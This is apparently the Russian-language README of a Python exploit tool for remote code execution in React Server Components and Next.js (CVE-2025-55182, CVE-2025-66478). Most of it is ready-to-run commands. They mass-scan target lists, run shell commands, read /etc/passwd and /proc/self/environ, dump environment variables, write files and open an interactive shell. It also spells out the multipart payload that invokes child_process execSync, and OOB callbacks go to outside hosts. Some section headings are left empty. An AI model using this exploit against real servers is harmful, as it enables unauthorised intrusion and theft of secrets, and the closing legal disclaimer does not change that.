CVE-2025-55182 - Эксплойт RCE для React Server Components v2.0
Комплексный инструмент для исследований в области безопасности, предназначенный для тестирования уязвимостей CVE-2025-55182 и CVE-2025-66478 в React Server Components (RSC) и Server Actions в Next.js.
Обзор уязвимости
| Свойство | Значение |
|---|
| Идентификаторы CVE | CVE-2025-55182, CVE-2025-66478 |
| Оценка CVSS | 10.0 (КРИТИЧЕСКАЯ) |
| Затронутые версии | React < 19.2.0, Next.js < 15.0.5 |
| Тип уязвимости | Удаленное выполнение кода (RCE) |
| Вектор атаки | Сеть |
Возможности
- Сканирование уязвимостей в стиле PortSwigger с несколькими пейлоадами обнаружения
- Несколько RCE-гаджетов (execSync, spawnSync, vm.runInThisContext и др.)
- Тестирование внеполосных (OOB) callback-вызовов для проверки слепого RCE
- Возможности чтения/записи файлов
- Выполнение JavaScript-кода
- Режим интерактивной оболочки
- Массовое сканирование с многопоточностью
- Поддержка прокси (совместимо с Burp Suite)
- Форматы вывода JSON/Text
Установка
Требования
Версия Python
Быстрый старт
# Basic vulnerability check
python3 exploit-custom.py -u https://target.com --check
# Full vulnerability scan (recommended)
python3 exploit-custom.py -u https://target.com --scan
# With proxy (Burp Suite)
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080
# OOB callback test
python3 exploit-custom.py -u https://target.com --oob your-id.oastify.com
# Command execution
python3 exploit-custom.py -u https://target.com --cmd "whoami"
# Interactive shell
python3 exploit-custom.py -u https://target.com --shell
Использование
Аргументы командной строки
usage: exploit-custom.py [-h] (-u URL | -l URL_LIST) [-p PROXY] [-c COOKIES]
[-H HEADER] [-t THREADS] [--timeout TIMEOUT]
[--check] [--detect] [--scan] [--test-all]
[--oob HOST] [--cmd CMD] [--gadget GADGET]
[--read FILE] [--write FILE CONTENT] [--js JS]
[--shell] [-o OUTPUT] [-q]
Выбор цели
| Аргумент | Описание | Пример |
|---|
-u, --url | URL одной цели | -u https://target.com |
-l, --list | Файл, содержащий URL | -l targets.txt |
Режимы сканирования
| Аргумент | Описание |
|---|
--detect | Определить использование Next.js/RSC |
--check |
Эксплуатация
Параметры подключения
Параметры вывода
| Аргумент | Описание |
|---|
-o, --output | Сохранить результаты в файл (.json или .txt) |
-q, --quiet | Подавить баннер |
Примеры сканирования
Одиночная цель
# Detect Next.js and RSC
python3 exploit-custom.py -u https://target.com --detect
# Quick vulnerability check
python3 exploit-custom.py -u https://target.com --check
# Full scan with all detection payloads
python3 exploit-custom.py -u https://target.com --scan
# Test all gadgets with OOB verification
python3 exploit-custom.py -u https://target.com --test-all --oob xyz.oastify.com
Массовое сканирование
# Scan multiple targets
python3 exploit-custom.py -l targets.txt --scan -o results.json
# With increased threads
python3 exploit-custom.py -l targets.txt --scan -t 20 -o results.json
# With OOB callbacks
python3 exploit-custom.py -l targets.txt --oob xyz.oastify.com -o results.json
Примеры эксплуатации
Выполнение команд
# Using default gadget (execSync)
python3 exploit-custom.py -u https://target.com --cmd "whoami"
# Using specific gadget
python3 exploit-custom.py -u https://target.com --cmd "id" --gadget spawnSync
python3 exploit-custom.py -u https://target.com --cmd "cat /etc/passwd" --gadget execFileSync
Операции с файлами
# Read file
python3 exploit-custom.py -u https://target.com --read /etc/passwd
python3 exploit-custom.py -u https://target.com --read /proc/self/environ
# Write file
python3 exploit-custom.py -u https://target.com --write /tmp/pwned.txt "pwned"
Выполнение JavaScript
# Get environment variables
python3 exploit-custom.py -u https://target.com --js "JSON.stringify(process.env)"
# Get hostname
python3 exploit-custom.py -u https://target.com --js "require('os').hostname()"
# List directory
python3 exploit-custom.py -u https://target.com --js "require('fs').readdirSync('/')"
Интерактивная оболочка
python3 exploit-custom.py -u https://target.com --shell
Команды оболочки:
Доступные гаджеты
RCE-гаджеты
Файловые гаджеты
| Имя | Идентификатор модуля | Описание |
|---|
fs_readFileSync | fs#readFileSync | Чтение произвольных файлов |
fs_writeFileSync | fs#writeFileSync | Запись произвольных файлов |
OOB-гаджеты
| Имя | Описание |
|---|
vm_fetch | HTTP-запрос через fetch API (Node 18+) |
vm_http | HTTP-запрос через модуль http |
Пейлоады обнаружения (CVE-2025-66478)
Режим --scan использует следующие пейлоады обнаружения в стиле PortSwigger:
Методы OOB-вызовов
Инструмент поддерживает несколько методов OOB-вызовов:
Интерпретация вывода
Цвета терминала
Результаты сканирования
[VULN] property_reference Vulnerable pattern detected!
-> Error digest pattern: E{"digest"... (needs OOB verification)
[SAFE] property_reference_v2 HTTP 200
[500] action_ref_vm digest:12345
Технические детали
Формат RSC Flight
Инструмент анализирует ответы React Server Components в «flight-формате»:
0:{"a":"$@1","b":"$@2"}
1:E{"digest":"12345"}
Структура multipart-пейлоада
------CVE2025Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------CVE2025Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"child_process#execSync","bound":["whoami"]}
------CVE2025Boundary--
Требуемые HTTP-заголовки
Content-Type: multipart/form-data; boundary=----CVE2025Boundary
Accept: text/x-component
Next-Action: <random-uuid>
RSC: 1
Next-Router-State-Tree: [[["",{"children":["__PAGE__",{}]},null,null,true]]
Запатченные версии
React
Next.js
- 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
Варианты использования
Баг-баунти
# 1. Prepare target list
echo "https://app.example.com" > targets.txt
echo "https://api.example.com" >> targets.txt
# 2. Bulk scan
python3 exploit-custom.py -l targets.txt --scan -o results.json
# 3. Verify with OOB
python3 exploit-custom.py -u https://vuln.example.com --oob your-id.oastify.com
Тестирование на проникновение
# 1. Detect technology
python3 exploit-custom.py -u https://target.com --detect
# 2. Analyze with Burp
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080
# 3. Exploit
python3 exploit-custom.py -u https://target.com --shell
Ссылки
Правовое предупреждение
Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей.
ПРЕДУПРЕЖДЕНИЕ: Несанкционированный доступ к компьютерным системам противозаконен. Используйте этот инструмент только на системах, которыми вы владеете, или на тестирование которых у вас есть явное письменное разрешение.
Авторы не несут ответственности за любое неправомерное использование или ущерб, причинённый этим инструментом.
Лицензия
Этот инструмент выпущен для целей исследования безопасности и авторизованного тестирования на проникновение.
Автор: Ünsal Furkan Harani
Версия: 2.0